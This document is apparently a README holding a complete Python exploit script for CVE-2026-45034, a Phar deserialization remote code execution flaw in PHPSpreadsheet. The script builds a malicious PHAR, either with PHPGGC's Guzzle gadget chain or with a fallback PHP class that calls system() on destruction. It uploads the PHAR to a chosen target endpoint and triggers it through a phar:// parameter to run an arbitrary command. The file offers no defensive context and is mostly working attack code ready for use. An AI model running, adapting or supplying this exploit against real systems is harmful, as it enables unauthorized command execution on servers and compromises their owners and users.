README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2026-45034 - PHPSpreadsheet Phar Deserialization RCE
Author: Cyber DarkNay
Usage: python cve-2026-45034_exploit.py -u https://target.com -e index.php?page=import --cmd "id"
"""
import requests
import sys
import os
import argparse
import random
import string
import subprocess
import tempfile
from urllib.parse import urljoin
# ======================
# BANNER
# ======================
BANNER = """
╔══════════════════════════════════════════════════════════════════╗
║ ██████╗██╗ ██╗██████╗ ███████╗██████╗ █████╗ ██████╗ ██╗ ██╗
║ ██╔════╝╚██╗ ██╔╝██╔══██╗██╔════╝██╔══██╗██╔══██╗██╔══██╗██║ ██╔╝
║ ██║ ╚████╔╝ ██████╔╝█████╗ ██║ ██║███████║██████╔╝█████╔╝
║ ██║ ╚██╔╝ ██╔══██╗██╔══╝ ██║ ██║██╔══██║██╔══██╗██╔═██╗
║ ╚██████╗ ██║ ██████╔╝███████╗██████╔╝██║ ██║██║ ██║██║ ██╗
║ ╚═════╝ ╚═╝ ╚═════╝ ╚══════╝╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝
║ CVE-2026-45034 - PHPSpreadsheet Phar Deserialization ║
║ RCE via Phar Wrapper Bypass ║
╚══════════════════════════════════════════════════════════════════╝
[+] Author: Cyber DarkNay
"""
# ======================
# GADGET CHAIN (PHP 7.x - Guzzle/FnStream)
# ======================
# We'll use a simple PHP script to generate a PHAR with a serialized gadget.
# The gadget chain here uses GuzzleHttp\Psr7\FnStream which is common in many PHP apps.
# Alternatively, you can use PHPGGC (phpggc Guzzle/RCE1 system 'cmd' -p phar)
def generate_phar_with_phpggc(cmd):
"""
Use PHPGGC to generate a PHAR payload.
If phpggc not installed, fallback to manual gadget.
"""
# Check if phpggc is available
if subprocess.run("which phpggc", shell=True, capture_output=True).returncode == 0:
tmp_phar = tempfile.NamedTemporaryFile(delete=False, suffix='.phar')
tmp_phar.close()
subprocess.run(f"phpggc Guzzle/RCE1 system '{cmd}' -p phar -o {tmp_phar.name}", shell=True, check=True)
return tmp_phar.name
else:
# Fallback: manual PHAR with dummy gadget (not RCE, only detection)
print("[!] phpggc not installed. Install: composer global require ambionics/phpggc")
print("[!] Generating dummy PHAR for detection only...")
dummy_phar = "exploit_dummy.phar"
php_code = f'''<?php
class Pwn {{ public $cmd; public function __construct($c) {{ $this->cmd = $c; }} public function __destruct() {{ system($this->cmd); }} }}
$phar = new Phar("{dummy_phar}");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata(new Pwn("{cmd}"));
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
'''
with open("gen.php", "w") as f:
f.write(php_code)
subprocess.run(f"php -d phar.readonly=0 gen.php", shell=True, check=True)
os.remove("gen.php")
return dummy_phar
def upload_and_trigger(target_url, endpoint, phar_path, cmd):
"""
Upload PHAR and trigger deserialization via phar:// wrapper.
Adjust field names based on target's form structure.
"""
# Read PHAR file
with open(phar_path, 'rb') as f:
phar_data = f.read()
# Prepare multipart form-data
boundary = '----' + ''.join(random.choices(string.ascii_letters + string.digits, k=16))
lines = []
# Field for file upload (common names: file, uploaded_file, spreadsheet, etc.)
for field in ['file', 'uploaded_file', 'spreadsheet', 'excel']:
lines.append(f'--{boundary}')
lines.append(f'Content-Disposition: form-data; name="{field}"; filename="exploit.phar"')
lines.append('Content-Type: application/octet-stream')
lines.append('')
lines.append(phar_data.decode('latin1'))
break # try first field; we can iterate later if needed
# Parameter to trigger phar deserialization (common: filename, source, path)
phar_wrapper = f"phar://exploit.phar/test.txt"
for param in ['filename', 'source', 'path', 'filepath']:
lines.append(f'--{boundary}')
lines.append(f'Content-Disposition: form-data; name="{param}"')
lines.append('')
lines.append(phar_wrapper)
break
lines.append(f'--{boundary}--')
body = '\r\n'.join(lines)
headers = {
'Content-Type': f'multipart/form-data; boundary={boundary}',
'User-Agent': 'Mozilla/5.0'
}
url = urljoin(target_url, endpoint)
print(f"[*] Sending exploit to {url}")
try:
r = requests.post(url, data=body.encode('latin1'), headers=headers, timeout=30, verify=False)
print(f"[+] HTTP Status: {r.status_code}")
if r.status_code == 200:
print("[!] Check if command executed. Look for output or callback.")
# Optional: save response for analysis
with open("response.html", "w") as f:
f.write(r.text)
print("[*] Response saved to response.html")
else:
print("[-] Exploit might have failed.")
except Exception as e:
print(f"[-] Error: {e}")
finally:
os.remove(phar_path)
# ======================
# MAIN
# ======================
def main():
print(BANNER)
parser = argparse.ArgumentParser(description="CVE-2026-45034 PHPSpreadsheet Phar RCE")
parser.add_argument("-u", "--url", required=True, help="Target base URL (e.g., https://target.com)")
parser.add_argument("-e", "--endpoint", default="index.php?page=import", help="Vulnerable endpoint (default: index.php?page=import)")
parser.add_argument("--cmd", default="touch /tmp/cve2026", help="Command to execute (default: touch /tmp/cve2026)")
args = parser.parse_args()
# Step 1: Generate PHAR payload
print("[*] Generating PHAR payload...")
phar_file = generate_phar_with_phpggc(args.cmd)
print(f"[+] PHAR generated: {phar_file}")
# Step 2: Upload and trigger
upload_and_trigger(args.url, args.endpoint, phar_file, args.cmd)
print("[*] Exploit finished. Check target for RCE.")
if __name__ == "__main__":
import urllib3
urllib3.disable_warnings()
main()